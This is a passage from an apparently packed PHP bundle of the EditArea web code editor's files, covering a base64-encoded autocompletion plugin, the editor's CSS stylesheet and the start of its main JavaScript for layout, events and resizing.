kvL2NvbnNvbGUubG9nKCBtYXRjaF93b3JkICk7DQoJCQkJCWlmKCBtYXRjaF93b3JkICkNCgkJCQkJew0KCQkJCQkJdmFyIGJlZ2luX3dvcmQ9IG1hdGNoX3dvcmRbMV07DQoJCQkJCQl2YXIgbWF0Y2hfY3Vycl93b3JkPSBuZXcgUmVnRXhwKCJeIisgcGFyZW50LmVkaXRBcmVhTG9hZGVyLmdldF9lc2NhcGVkX3JlZ2V4cCggYmVnaW5fd29yZCApLCB0aGlzLmN1cnJfc3ludGF4W2ldWyJtb2RpZmllcnMiXSk7DQoJCQkJCQljb25zb2xlLmxvZyggbWF0Y2hfY3Vycl93b3JkICk7DQoJCQkJCQlmb3IodmFyIHByZWZpeCBpbiB0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdKQ0KCQkJCQkJew0KCQkJCQkJLy8JcGFyZW50LmNvbnNvbGUubG9nKCB0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdW3ByZWZpeF0gKTsNCgkJCQkJCQlmb3IodmFyIGo9MDsgajx0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdW3ByZWZpeF1bJ2RhdGFzJ10ubGVuZ3RoOyBqKyspDQoJCQkJCQkJew0KCQkJCQkJLy8JCXBhcmVudC5jb25zb2xlLmxvZyggdGhpcy5jdXJyX3N5bnRheFtpXVsia2V5d29yZHMiXVtwcmVmaXhdWydkYXRhcyddW2pdWydpc190eXBpbmcnXSApOw0KCQkJCQkJCQkvLyB0aGUga2V5IHdvcmQgbWF0Y2ggb3IgZm9yY2UgZGlzcGxheSANCgkJCQkJCQkJaWYoIHRoaXMuY3Vycl9zeW50YXhbaV1bImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXVsnaXNfdHlwaW5nJ10ubWF0Y2gobWF0Y2hfY3Vycl93b3JkKSApDQoJCQkJCQkJCXsNCgkJCQkJCQkvLwkJcGFyZW50LmNvbnNvbGUubG9nKCdtYXRjaCcpOw0KCQkJCQkJCQkJaGFzTWF0Y2ggPSBmYWxzZTsNCgkJCQkJCQkJCXZhciBiZWZvcmUgPSBsYXN0X2NoYXJzLnN1YnN0ciggMCwgbGFzdF9jaGFycy5sZW5ndGggLSBiZWdpbl93b3JkLmxlbmd0aCApOw0KCQkJCQkJCQkJDQoJCQkJCQkJCQkvLyBubyBwcmVmaXggdG8gbWF0Y2ggPT4gaXQncyB2YWxpZA0KCQkJCQkJCQkJaWYoICFtYXRjaF9wcmVmaXhfc2VwYXJhdG9yICYmIHRoaXMuY3Vycl9zeW50YXhbaV1bImtleXdvcmRzIl1bcHJlZml4XVsncHJlZml4J10ubGVuZ3RoID09IDAgKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCWlmKCAhIGJlZm9yZS5tYXRjaCggdGhpcy5jdXJyX3N5bnRheFtpXVsia2V5d29yZHMiXVtwcmVmaXhdWydwcmVmaXhfcmVnJ10gKSApDQoJCQkJCQkJCQkJCWhhc01hdGNoID0gdHJ1ZTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCS8vIHdlIHN0aWxsIG5lZWQgdG8gY2hlY2sgdGhlIHByZWZpeCBpZiB0aGVyZSBpcyBvbmUNCgkJCQkJCQkJCWVsc2UgaWYoIHRoaXMuY3Vycl9zeW50YXhbaV1bImtleXdvcmRzIl1bcHJlZml4XVsncHJlZml4J10ubGVuZ3RoID4gMCApDQoJCQkJCQkJCQl7DQoJCQkJCQkJCQkJaWYoIGJlZm9yZS5tYXRjaCggdGhpcy5jdXJyX3N5bnRheFtpXVsia2V5d29yZHMiXVtwcmVmaXhdWydwcmVmaXhfcmVnJ10gKSApDQoJCQkJCQkJCQkJCWhhc01hdGNoID0gdHJ1ZTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCQ0KCQkJCQkJCQkJaWYoIGhhc01hdGNoICkNCgkJCQkJCQkJCQlyZXN1bHRzW3Jlc3VsdHMubGVuZ3RoXT0gWyB0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdW3ByZWZpeF0sIHRoaXMuY3Vycl9zeW50YXhbaV1bImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXSBdOw0KCQkJCQkJCQl9CQ0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkvLyBpdCBkb2Vzbid0IG1hdGNoIGFueSBwb3NzaWJsZSB3b3JkIGJ1dCB3ZSB3YW50IHRvIGRpc3BsYXkgc29tZXRoaW5nDQoJCQkJCS8vIHdlJ2xsIGRpc3BsYXkgdG8gbGlzdCBvZiBhbGwgYXZhaWxhYmxlIHdvcmRzDQoJCQkJCWVsc2UgaWYoIHRoaXMuZm9yY2VEaXNwbGF5IHx8IG1hdGNoX3ByZWZpeF9zZXBhcmF0b3IgKQ0KCQkJCQl7DQoJCQkJCQlmb3IodmFyIHByZWZpeCBpbiB0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdKQ0KCQkJCQkJew0KCQkJCQkJCWZvcih2YXIgaj0wOyBqPHRoaXMuY3Vycl9zeW50YXhbaV1bImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXS5sZW5ndGg7IGorKykNCgkJCQkJCQl7DQoJCQkJCQkJCWhhc01hdGNoID0gZmFsc2U7DQoJCQkJCQkJCS8vIG5vIHByZWZpeCB0byBtYXRjaCA9PiBpdCdzIHZhbGlkDQoJCQkJCQkJCWlmKCAhbWF0Y2hfcHJlZml4X3NlcGFyYXRvciAmJiB0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdW3ByZWZpeF1bJ3ByZWZpeCddLmxlbmd0aCA9PSAwICkNCgkJCQkJCQkJew0KCQkJCQkJCQkJaGFzTWF0Y2gJPSB0cnVlOw0KCQkJCQkJCQl9DQoJCQkJCQkJCS8vIHdlIHN0aWxsIG5lZWQgdG8gY2hlY2sgdGhlIHByZWZpeCBpZiB0aGVyZSBpcyBvbmUNCgkJCQkJCQkJZWxzZSBpZiggbWF0Y2hfcHJlZml4X3NlcGFyYXRvciAmJiB0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdW3ByZWZpeF1bJ3ByZWZpeCddLmxlbmd0aCA+IDAgKQ0KCQkJCQkJCQl7DQoJCQkJCQkJCQl2YXIgYmVmb3JlID0gbGFzdF9jaGFyczsgLy8uc3Vic3RyKCAwLCBsYXN0X2NoYXJzLmxlbmd0aCApOw0KCQkJCQkJCQkJaWYoIGJlZm9yZS5tYXRjaCggdGhpcy5jdXJyX3N5bnRheFtpXVsia2V5d29yZHMiXVtwcmVmaXhdWydwcmVmaXhfcmVnJ10gKSApDQoJCQkJCQkJCQkJaGFzTWF0Y2ggPSB0cnVlOw0KCQkJCQkJCQl9CQ0KCQkJCQkJCQkJDQoJCQkJCQkJCWlmKCBoYXNNYXRjaCApDQoJCQkJCQkJCQlyZXN1bHRzW3Jlc3VsdHMubGVuZ3RoXT0gWyB0aGlzLmN1cnJfc3ludGF4W2ldWyJrZXl3b3JkcyJdW3ByZWZpeF0sIHRoaXMuY3Vycl9zeW50YXhbaV1bImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXSBdOwkNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQkNCgkJCS8vIHRoZXJlIGlzIG9ubHkgb25lIHJlc3VsdCwgYW5kIHdlIGNhbiBzZWxlY3QgaXQgYXV0b21hdGljYWxseQ0KCQkJaWYoIHJlc3VsdHMubGVuZ3RoID09IDEgJiYgdGhpcy5hdXRvU2VsZWN0SWZPbmVSZXN1bHQgKQ0KCQkJew0KCQkJCWNvbnNvbGUubG9nKCByZXN1bHRzICk7DQoJCQkJdGhpcy5fc2VsZWN0KCByZXN1bHRzWzBdWzFdWydyZXBsYWNlX3dpdGgnXSApOw0KCQkJfQ0KCQkJZWxzZSBpZiggcmVzdWx0cy5sZW5ndGggPT0gMCApDQoJCQl7DQoJCQkJdGhpcy5faGlkZSgpOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCS8vIGJ1aWxkIHRoZSBzdWdnZXN0aW9uIGJveCBjb250ZW50DQoJCQkJdmFyIGxpbmVzPVtdOw0KCQkJCWZvcih2YXIgaT0wOyBpPHJlc3VsdHMubGVuZ3RoOyBpKyspDQoJCQkJew0KCQkJCQl2YXIgbGluZT0gIjxsaT48YSBocmVmPVwiI1wiIGNsYXNzPVwiZW50cnlcIiBvbm1vdXNlZG93bj1cIkVkaXRBcmVhX2F1dG9jb21wbGV0aW9uLl9zZWxlY3QoJyIrIHJlc3VsdHNbaV1bMV1bJ3JlcGxhY2Vfd2l0aCddLnJlcGxhY2UobmV3IFJlZ0V4cCgnIicsICJnIiksICImcXVvdDsiKSArIicpO3JldHVybiBmYWxzZTtcIj4iKyByZXN1bHRzW2ldWzFdWydjb21tZW50J107DQoJCQkJCWlmKHJlc3VsdHNbaV1bMF1bJ3ByZWZpeF9uYW1lJ10ubGVuZ3RoPjApDQoJCQkJCQlsaW5lKz0nPHNwYW4gY2xhc3M9InByZWZpeCI+JysgcmVzdWx0c1tpXVswXVsncHJlZml4X25hbWUnXSArJzwvc3Bhbj4nOw0KCQkJCQlsaW5lKz0nPC9hPjwvbGk+JzsNCgkJCQkJbGluZXNbbGluZXMubGVuZ3RoXT1saW5lOw0KCQkJCX0NCgkJCQkvLyBzb3J0IHJlc3VsdHMNCgkJCQl0aGlzLmNvbnRhaW5lci5pbm5lckhUTUwJCT0gJzx1bD4nKyBsaW5lcy5zb3J0KCkuam9pbignJykgKyc8L3VsPic7DQoJCQkJDQoJCQkJdmFyIGN1cnNvcgk9ICQoImN1cnNvcl9wb3MiKTsNCgkJCQl0aGlzLmNvbnRhaW5lci5zdHlsZS50b3AJCT0gKCBjdXJzb3IuY3Vyc29yX3RvcCArIGVkaXRBcmVhLmxpbmVIZWlnaHQgKSArInB4IjsNCgkJCQl0aGlzLmNvbnRhaW5lci5zdHlsZS5sZWZ0CQk9ICggY3Vyc29yLmN1cnNvcl9sZWZ0ICsgOCApICsicHgiOw0KCQkJCXRoaXMuX3Nob3coKTsNCgkJCX0NCgkJCQkNCgkJCXRoaXMuYXV0b1NlbGVjdElmT25lUmVzdWx0ID0gZmFsc2U7DQoJCQl0aW1lPW5ldyBEYXRlOw0KCQkJdDI9IHRpbWUuZ2V0VGltZSgpOw0KCQkNCgkJCS8vcGFyZW50LmNvbnNvbGUubG9nKCBiZWdpbl93b3JkICsiXG4iKyAodDItdDEpICsiXG4iKyBodG1sICk7DQoJCX0NCgl9DQp9Ow0KDQovLyBMb2FkIGFzIGEgcGx1Z2luDQplZGl0QXJlYS5zZXR0aW5nc1sncGx1Z2lucyddWyBlZGl0QXJlYS5zZXR0aW5nc1sncGx1Z2lucyddLmxlbmd0aCBdID0gJ2F1dG9jb21wbGV0aW9uJzsNCmVkaXRBcmVhLmFkZF9wbHVnaW4oJ2F1dG9jb21wbGV0aW9uJywgRWRpdEFyZWFfYXV0b2NvbXBsZXRpb24pOw==',
  './AJAX-B/edit_area/edit_area.css' => 'body, html{
	margin: 0; 
	padding: 0;
	height: 100%;
	border: none;
	overflow: hidden;
	background-color: #FFF;
}

body, html, table, form, textarea{
	font: 12px monospace, sans-serif;
}

#editor{
	border: solid #888 1px;
	overflow: visible;
}

#result{
	z-index: 4; 
	overflow-x: auto;
	overflow-y: scroll;
	border-top: solid #888 1px;
	border-bottom: solid #888 1px;
	position: relative;
	clear: both;
}

#result.empty{
	overflow: hidden;
}

#container{
	overflow: hidden;
	border: solid blue 0;
	position: relative; 
	z-index: 10;
	padding: 0 5px 0 45px;
	/*padding-right: 5px;*/ 
}

#textarea{
	position: relative; 
	top: 0; 
	left: 0;
	margin: 0;
	padding: 0;
	width: 100%;
	height: 100%; 
	overflow: hidden;  
	z-index: 7; 
	border-width: 0;
	background-color: transparent;
}

#textarea, #textarea:hover{
	outline: none;	/* safari outline fix */
}

#content_highlight{
	white-space: pre;
	margin: 0;
	padding: 0;
	position : absolute; 
	z-index: 4; 
	overflow: visible;
}


#selection_field{
	margin: 0; 
	background-color: #E1F2F9; 
	height: 1px;  
	position: absolute;
	z-index: 5;
	top: -100px;
	padding: 0;
	white-space: pre;
	overflow: hidden;
}

#selection_field.show_colors{
	z-index: 3;
	background-color:#EDF9FC;
	color:transparent;
}

#container.wrap_text #content_highlight, #container.wrap_text #selection_field{
	white-space: pre-wrap;       /* css-3 */
	white-space: -moz-pre-wrap !important;  /* Mozilla, since 1999 */
	white-space: -pre-wrap;      /* Opera 4-6 */
	white-space: -o-pre-wrap;    /* Opera 7 */
	word-wrap: break-word;       /* Internet Explorer 5.5+ */
	width: 99%;
}

#line_number{
	position: absolute;
	overflow: hidden;
	border-right: solid black 1px;
	z-index:8;
	width: 38px;
	padding: 0 5px 0 0;
	margin: 0 0 0 -45px;
	text-align: right;
	color: #AAAAAA;
}

#test_font_size{
	padding: 0; 
	margin: 0; 
	visibility: hidden;
	position: absolute;
	white-space: pre;
}

pre{
	margin: 0;
	padding: 0;
}

.hidden{
	opacity: 0.2; 
	filter:alpha(opacity=20);
}

#result .edit_area_cursor{
	position: absolute; 
	z-index:6; 
	background-color: #FF6633;
	top: -100px;
	margin: 1px 0 0 0;
}

#result .edit_area_selection_field .overline{
	background-color: #996600;
}


/* area popup */
.editarea_popup{
	border: solid 1px #888888;
	background-color: #ECE9D8; 
	width: 250px; 
	padding: 4px; 
	position: absolute;
	visibility: hidden; 
	z-index: 15;
	top: -500px;
}

.editarea_popup, .editarea_popup table{
	font-family: sans-serif;
	font-size: 10pt;
}

.editarea_popup img{
	border: 0;
}

.editarea_popup .close_popup{
	float: right; 
	line-height: 16px; 
	border: 0; 
	padding: 0;
}

.editarea_popup h1,.editarea_popup h2,.editarea_popup h3,.editarea_popup h4,.editarea_popup h5,.editarea_popup h6{
	margin: 0;
	padding: 0;
}

.editarea_popup .copyright{
	text-align: right;
}	

/* Area_search */
div#area_search_replace{
	/*width: 250px;*/
}

div#area_search_replace img{
	border: 0;
}

div#area_search_replace div.button{
	text-align: center;
	line-height: 1.7em;
}

div#area_search_replace .button a{
	cursor: pointer;
	border: solid 1px #888888;
	background-color: #DEDEDE;
	text-decoration: none;
	padding: 0 2px;
	color: #000000;	
	white-space: nowrap;
}

div#area_search_replace a:hover{	
	/*border: solid 1px #888888;*/
	background-color: #EDEDED;
}

div#area_search_replace  #move_area_search_replace{
	cursor: move; 
	border: solid 1px #888;
}

div#area_search_replace  #close_area_search_replace{
	text-align: right; 
	vertical-align: top; 
	white-space: nowrap;
}

div#area_search_replace  #area_search_msg{
	height: 18px; 
	overflow: hidden; 
	border-top: solid 1px #888; 
	margin-top: 3px;
}

/* area help */
#edit_area_help{
	width: 350px;
}

#edit_area_help div.close_popup{
	float: right;
}

/* area_toolbar */
.area_toolbar{
	/*font: 11px sans-serif;*/
	width: 100%; 
	/*height: 21px; */
	margin: 0; 
	padding: 0;
	background-color: #ECE9D8;
	text-align: center;
}

.area_toolbar, .area_toolbar table{
	font: 11px sans-serif;
}

.area_toolbar img{
	border: 0;
	vertical-align: middle;
}

.area_toolbar input{
	margin: 0;
	padding: 0;
}

.area_toolbar select{
    font-family: 'MS Sans Serif',sans-serif,Verdana,Arial;
    font-size: 7pt;
    font-weight: normal;
    margin: 2px 0 0 0 ;
    padding: 0;
    vertical-align: top;
    background-color: #F0F0EE;
}

table.statusbar{
	width: 100%;
}

.area_toolbar td.infos{
	text-align: center;
	width: 130px;
	border-right: solid 1px #888;
	border-width: 0 1px 0 0;
	padding: 0;
}

.area_toolbar td.total{
	text-align: right;
	width: 50px;
	padding: 0;
}

.area_toolbar td.resize{
	text-align: right;
}
/*
.area_toolbar span{
	line-height: 1px;
	padding: 0;
	margin: 0;
}*/

.area_toolbar span#resize_area{
	cursor: nw-resize;
	visibility: hidden;
}

/* toolbar buttons */
.editAreaButtonNormal, .editAreaButtonOver, .editAreaButtonDown, .editAreaSeparator, .editAreaSeparatorLine, .editAreaButtonDisabled, .editAreaButtonSelected {
	border: 0; margin: 0; padding: 0; background: transparent;
	margin-top: 0;
	margin-left: 1px;
	padding: 0;
}

.editAreaButtonNormal {
	border: 1px solid #ECE9D8 !important;
	cursor: pointer;
}

.editAreaButtonOver {
	border: 1px solid #0A246A !important;
	cursor: pointer;
	background-color: #B6BDD2;
}

.editAreaButtonDown {
	cursor: pointer;
	border: 1px solid #0A246A !important;
	background-color: #8592B5;
}

.editAreaButtonSelected {
	border: 1px solid #C0C0BB !important;
	cursor: pointer;
	background-color: #F4F2E8;
}

.editAreaButtonDisabled {
	filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30);
	-moz-opacity:0.3;
	opacity: 0.3;
	border: 1px solid #F0F0EE !important;
	cursor: pointer;
}

.editAreaSeparatorLine {
	margin: 1px 2px;
	background-color: #C0C0BB;
	width: 2px;
	height: 18px;
}

/* waiting screen */
#processing{
	display: none; 
	background-color:#ECE9D8; 
	border: solid #888 1px;
	position: absolute; 
	top: 0; 
	left: 0;
	width: 100%; 
	height: 100%; 
	z-index: 100; 
	text-align: center;
}

#processing_text{
	position:absolute;
	left: 50%;
	top: 50%;
	width: 200px;
	height: 20px; 
	margin-left: -100px;
	margin-top: -10px;
	text-align: center;
}
/* end */


/**** tab browsing area ****/
#tab_browsing_area{
	display: none;
	background-color: #CCC9A8;
	border-top: 1px solid #888;
	text-align: left;
	margin: 0;
}

#tab_browsing_list {
	padding: 0; 
	margin: 0; 
	list-style-type: none;
	white-space: nowrap;
}
#tab_browsing_list li {
	float: left;
	margin: -1px;
}
#tab_browsing_list a {
	position: relative;
	display: block; 
	text-decoration: none; 
	float: left; 
	cursor: pointer;
	line-height:14px;
}

#tab_browsing_list a span {
	display: block; 
	color: #000; 
	background: #ECE9D8; 
	border:	1px solid #888; 
	border-width: 1px 1px 0; 
	text-align: center; 
	padding: 2px 2px 1px 4px; 
	position: relative;	/*IE 6 hack */
}

#tab_browsing_list a b {
	display: block; 
	border-bottom: 2px solid #617994;
}

#tab_browsing_list a .edited {
	display: none;
}

#tab_browsing_list a.edited .edited {
	display: inline;
}

#tab_browsing_list a img{
	margin-left: 7px;
}

#tab_browsing_list a.edited img{
	margin-left: 3px;
}

#tab_browsing_list a:hover span {
	background: #F4F2E8;
	border-color: #0A246A;
}

#tab_browsing_list .selected a span{
	background: #046380;
	color: #FFF;
}


#no_file_selected{
	height: 100%;
	width: 150%; /* Opera need more than 100% */
	background: #CCC;
	display: none;
	z-index: 20;
	position: absolute;
}


/*** Non-editable mode ***/
.non_editable #editor
{
	border-width: 0 1px;
}

.non_editable .area_toolbar
{
	display: none;
}

/*** Auto completion ***/
#auto_completion_area
{
	background:	#FFF;
	border:		solid 1px #888;
	position:	absolute;
	z-index:	15;
	width:	280px;
	height:	180px;
	overflow: auto;
	display:none;
}

#auto_completion_area a, #auto_completion_area a:visited
{
	display:	block;
	padding:	0 2px 1px;
	color:		#000;
	text-decoration:none;
}

#auto_completion_area a:hover, #auto_completion_area a:focus, #auto_completion_area a.focus
{
	background:	#D6E1FE;
	text-decoration:none;
}

#auto_completion_area ul
{
	margin:	0;
	padding: 0;
	list-style: none inside;
}
#auto_completion_area li
{
	padding:	0;
}
#auto_completion_area .prefix
{
	font-style: italic;
	padding: 0 3px;
}',
  './AJAX-B/edit_area/edit_area.js' => '/******
 *
 *	EditArea 
 * 	Developped by Christophe Dolivet
 *	Released under LGPL and Apache licenses
 *
******/

	function EditArea(){
		this.error= false;	// to know if load is interrrupt
		
		this.inlinePopup= new Array({popup_id: "area_search_replace", icon_id: "search"},
									{popup_id: "edit_area_help", icon_id: "help"});
		this.plugins= new Object();
	
		this.line_number=0;
		
		this.nav=parent.editAreaLoader.nav; 	// navigator identification
		
		this.last_selection=new Object();		
		this.last_text_to_highlight="";
		this.last_hightlighted_text= "";
		this.syntax_list= new Array();
		this.allready_used_syntax= new Object();
		this.check_line_selection_timer= 50;	// the timer delay for modification and/or selection change detection
		
		this.textareaFocused= false;
		this.highlight_selection_line= null;
		this.previous= new Array();
		this.next= new Array();
		this.last_undo="";
		this.files= new Object();
		this.filesIdAssoc= new Object();
		this.curr_file= '';
		//this.loaded= false;
		this.assocBracket=new Object();
		this.revertAssocBracket= new Object();		
		// bracket selection init 
		this.assocBracket["("]=")";
		this.assocBracket["{"]="}";
		this.assocBracket["["]="]";		
		for(var index in this.assocBracket){
			this.revertAssocBracket[this.assocBracket[index]]=index;
		}
		this.is_editable= true;
		
		
		/*this.textarea="";	
		
		this.state="declare";
		this.code = new Array(); // store highlight syntax for languagues*/
		// font datas
		this.lineHeight= 16;
		/*this.default_font_family= "monospace";
		this.default_font_size= 10;*/
		this.tab_nb_char= 8;	//nb of white spaces corresponding to a tabulation
		if(this.nav['isOpera'])
			this.tab_nb_char= 6;

		this.is_tabbing= false;
		
		this.fullscreen= {'isFull': false};
		
		this.isResizing=false;	// resize var
		
		// init with settings and ID
		this.id= area_id;
		this.settings= editAreas[this.id]["settings"];
		
		if((""+this.settings['replace_tab_by_spaces']).match(/^[0-9]+$/))
		{
			this.tab_nb_char= this.settings['replace_tab_by_spaces'];
			this.tabulation="";
			for(var i=0; i<this.tab_nb_char; i++)
				this.tabulation+=" ";
		}else{
			this.tabulation="\t";
		}
			
		// retrieve the init parameter for syntax
		if(this.settings["syntax_selection_allow"] && this.settings["syntax_selection_allow"].length>0)
			this.syntax_list= this.settings["syntax_selection_allow"].replace(/ /g,"").split(",");
		
		if(this.settings['syntax'])
			this.allready_used_syntax[this.settings['syntax']]=true;
		
		
	};
	
	
	//called by the toggle_on
	EditArea.prototype.update_size= function(){
		
		if(editAreas[editArea.id] && editAreas[editArea.id]["displayed"]==true){
			if(editArea.fullscreen['isFull']){	
				parent.document.getElementById("frame_"+editArea.id).style.width= parent.document.getElementsByTagName("html")[0].clientWidth + "px";
				parent.document.getElementById("frame_"+editArea.id).style.height= parent.document.getElementsByTagName("html")[0].clientHeight + "px";
			}
		
			if(editArea.tab_browsing_area.style.display=='block' && !editArea.nav['isIE'])
			{
				editArea.tab_browsing_area.style.height= "0px";
				editArea.tab_browsing_area.style.height= (editArea.result.offsetTop - editArea.tab_browsing_area.offsetTop -1)+"px";
			}
			
			var height= document.body.offsetHeight - editArea.get_all_toolbar_height() - 4;
			editArea.result.style.height= height +"px";
			
			var width=document.body.offsetWidth -2;
			editArea.result.style.width= width+"px";
			//alert("result h: "+ height+" w: "+width+"\ntoolbar h: "+this.get_all_toolbar_height()+"\nbody_h: "+document.body.offsetHeight);
			
			// check that the popups don't get out of the screen
			for(var i=0; i<editArea.inlinePopup.length; i++){
				var popup= $(editArea.inlinePopup[i]["popup_id"]);
				var max_left= document.body.offsetWidth- popup.offsetWidth;
				var max_top= document.body.offsetHeight- popup.offsetHeight;
				if(popup.offsetTop>max_top)
					popup.style.top= max_top+"px";
				if(popup.offsetLeft>max_left)
					popup.style.left= max_left+"px";
			}
		}		
	};

	EditArea.prototype.init= function(){
		this.textarea= $("textarea");
		this.container= $("container");
		this.result= $("result");
		this.content_highlight= $("content_highlight");
		this.selection_field= $("selection_field");
		this.processing_screen= $("processing");
		this.editor_area= $("editor");
		this.tab_browsing_area= $("tab_browsing_area");
		
		if(!this.settings['is_editable'])
			this.set_editable(false);
		
		this.set_show_line_colors( this.settings['show_line_colors'] );
		
		if(syntax_selec= $("syntax_selection"))
		{
			// set up syntax selection lsit in the toolbar
			for(var i=0; i<this.syntax_list.length; i++) {
				var syntax= this.syntax_list[i];
				var option= document.createElement("option");
				option.value= syntax;
				if(syntax==this.settings['syntax'])
					option.selected= "selected";
				option.innerHTML= this.get_translation("syntax_" + syntax, "word");
				syntax_selec.appendChild(option);
			}
		}
		
		// add plugins buttons in the toolbar
		spans= parent.getChildren($("toolbar_1"), "span", "", "", "all", -1);
		
		for(var i=0; i<spans.length; i++){
		
			id=spans[i].id.replace(/tmp_tool_(.*)/, "$1");
			if(id!= spans[i].id){
				for(var j in this.plugins){
					if(typeof(this.plugins[j].get_control_html)=="function" ){
						html=this.plugins[j].get_control_html(id);
						if(html!=false){
							html= this.get_translation(html, "template");
							var new_span= document.createElement("span");
							new_span.innerHTML= html;				
							var father= spans[i].parentNode;
							spans[i].parentNode.replaceChild(new_span, spans[i]);	
							break; // exit the for loop					
						}
					}
				}
			}
		}
		
		
		// init datas
		this.textarea.value=editAreas[this.id]["textarea"].value;
		if(this.settings["debug"])
			this.debug=parent.document.getElementById("edit_area_debug_"+this.id);
		
		// init size		
		//this.update_size();
		
		if($("redo") != null)
			this.switchClassSticky($("redo"), 'editAreaButtonDisabled', true);
		
		
		// insert css rules for highlight mode		
		if(typeof(parent.editAreaLoader.syntax[this.settings["syntax"]])!="undefined"){
			for(var i in parent.editAreaLoader.syntax){
				this.add_style(parent.editAreaLoader.syntax[i]["styles"]);
			}
		}
		// init key events
		if(this.nav['isOpera'])
			$("editor").onkeypress= keyDown;
		else
			$("editor").onkeydown= keyDown;

		for(var i=0; i<this.inlinePopup.length; i++){
			if(this.nav['isIE'] || this.nav['isFirefox'])
				$(this.inlinePopup[i]["popup_id"]).onkeydown= keyDown;
			else
				$(this.inlinePopup[i]["popup_id"]).onkeypress= keyDown;
		}
		
		if(this.settings["allow_resize"]=="both" || this.settings["allow_resize"]=="x" || this.settings["allow_resize"]=="y")
			this.allow_resize(true);
		
		parent.editAreaLoader.toggle(this.id, "on");
		//this.textarea.focus();
		// line selection init
		this.change_smooth_selection_mode(editArea.smooth_selection);
		// highlight
		this.execCommand("change_highlight", this.settings["start_highlight"]);
		
		// get font size datas		
		this.set_font(editArea.settings["font_family"], editArea.settings["font_size"]);
		
		// set unselectable text
		children= parent.getChildren(document.body, "", "selec", "none", "all", -1);
		for(var i=0; i<children.length; i++){
			if(this.nav['isIE'])
				children[i].unselectable = true; // IE
			else
				children[i].onmousedown= function(){return false};
		/*	children[i].style.MozUserSelect = "none"; // Moz
			children[i].style.KhtmlUserSelect = "none";  // Konqueror/Safari*/
		}
		
		if(this.nav['isGecko']){
			this.textarea.spellcheck= this.settings["gecko_spellcheck"];
		}
		
		/** Browser specific style fixes **/
		
		// fix rendering bug for highlighted lines beginning with no tabs
		if( this.nav['isFirefox'] >= '3' )
			this.content_highlight.style.borderLeft= "solid 1px transparent";
		
		if(this.nav['isIE']){
			this.textarea.style.marginTop= "-1px";
		}
		/*
		if(this.nav['isOpera']){
			this.editor_area.style.position= "absolute";
		}*/
		
		if(this.nav['isSafari'] ){
			this.editor_area.style.position= "absolute";
			this.textarea.style.marginLeft="-3px";
			this.textarea.style.marginTop="1px";
		}
		
		if( this.nav['isChrome'] ){
			this.editor_area.style.position= "absolute";
			this.textarea.style.marginLeft="0px";
			this.textarea.style.marginTop="0px";
		}
		
		// si le textarea n'est pas grand, un click sous le textarea doit provoquer un focus sur le textarea
		parent.editAreaLoader.add_event(this.result, "click", function(e){ if((e.target || e.srcElement)==editArea.result) { editArea.area_select(editArea.textarea.value.length, 0);}  });
		
		if(this.settings['is_multi_files']!=false)
			this.open_file({'id': this.curr_file, 'text': ''});
	
		this.set_wrap_text( this.settings['wrap_text'] );
		
		setTimeout("editArea.focus();editArea.manage_size();editArea.execCommand('EA_load');", 10);		
		//start checkup routine
		this.check_undo();
		this.check_line_selection(true);
		this.scroll_to_view();
		
		for(var i in this.plugins){
			if(typeof(this.plugins[i].onload)=="function")
				this.plugins[i].onload();
		}
		if(this.settings['fullscreen']==true)
			this.toggle_full_screen(true);
	
		parent.editAreaLoader.add_event(window, "resize", editArea.update_size);
		parent.editAreaLoader.add_event(parent.window, "resize", editArea.update_size);
		parent.editAreaLoader.add_event(top.window, "resize", editArea.update_size);
		parent.editAreaLoader.add_event(window, "unload", function(){if(editAreas[editArea.id] && editAreas[editArea.id]["displayed"]) editArea.execCommand("EA_unload");});
		
		
		/*date= new Date();
		alert(date.getTime()- parent.editAreaLoader.start_time);*/
	};
	
	
	EditArea.prototype.manage_size= function(onlyOneTime){
		if(!editAreas[this.id])
			return false;
		if(editAreas[this.id]["displayed"]==true && this.textareaFocused)
		{
			var resized= false;
			
			//1) Manage display width
			//1.1) Calc the new width to use for display
			if( this.settings['wrap_text'] )
			{
				//	var area_width= this.result.offsetWidth -50;
			}
			else
			{
				var area_width= this.textarea.scrollWidth;
				var area_height= this.textarea.scrollHeight;
				if(this.nav['isOpera']){
					area_width=10000; /* TODO: find a better way to fix the width problem */								
				}
			}
			
			
			//1.2) the width is not the same, we must resize elements
			if(this.textarea.previous_scrollWidth!=area_width)
			{	
				
				this.container.style.width= area_width+"px";
				this.textarea.style.width= area_width+"px";
				this.content_highlight.style.width= area_width+"px";	
				this.textarea.previous_scrollWidth=area_width;
				resized=true;
			}	
			
			
			//2) Manage display height
			//2.1) Calc the new height to use for display
			var area_height = this.textarea.scrollHeight;
			if(this.nav['isOpera']){
				area_height= this.last_selection['nb_line']*this.lineHeight;
			}
			
			if(this.nav['isGecko'] && this.smooth_selection && this.last_selection["nb_line"])
				area_height= this.last_selection["nb_line"]*this.lineHeight;
			//2.2) the width is not the same, we must resize elements 
			if(this.textarea.previous_scrollHeight!=area_height)	
			{	
				this.container.style.height= (area_height+2)+"px";
				this.textarea.style.height= area_height+"px";
				this.content_highlight.style.height= area_height+"px";	
				this.textarea.previous_scrollHeight= area_height;
				resized=true;
			}
		
			//3) if there is new lines, we add new line numbers in the line numeration area
			if(this.last_selection["nb_line"] >= this.line_number)
			{
				var div_line_number="";
				for(i=this.line_number+1; i<this.last_selection["nb_line"]+100; i++)
				{
